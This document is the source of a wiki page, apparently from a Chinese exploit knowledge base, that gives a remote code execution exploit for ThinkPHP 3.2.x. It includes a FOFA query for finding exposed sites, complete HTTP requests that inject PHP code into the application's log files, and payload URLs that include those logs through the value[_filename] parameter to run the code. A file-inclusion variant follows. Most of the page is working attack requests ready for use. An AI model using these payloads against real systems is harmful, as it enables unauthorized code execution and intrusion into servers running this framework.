View source for ThinkPHP3.2.x RCE漏洞/zh-cn

<languages />
==FOFA==
<pre>
header="thinkphp"
</pre>

==漏洞利用==
关闭Debug：
<pre>
GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b6r46ojgc9tvdqpg9efrao7f66;
Upgrade-Insecure-Requests: 1
</pre>

日志文件
<pre>
\Application\Runtime\Logs\Common\21_06_30.log
</pre>

Payload
<pre>
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_06_30.log
</pre>
PHPINFO执行成功。

开启Debug：
<pre>
GET /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b6r46ojgc9tvdqpg9efrao7f66;
Upgrade-Insecure-Requests: 1
</pre>

日志文件
<pre>
\Application\Runtime\Logs\Home\21_06_30.log
</pre>

Payload
<pre>
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log
</pre>

==文件上传==
<pre>
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./test.txt
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
==參考==
</div>
https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ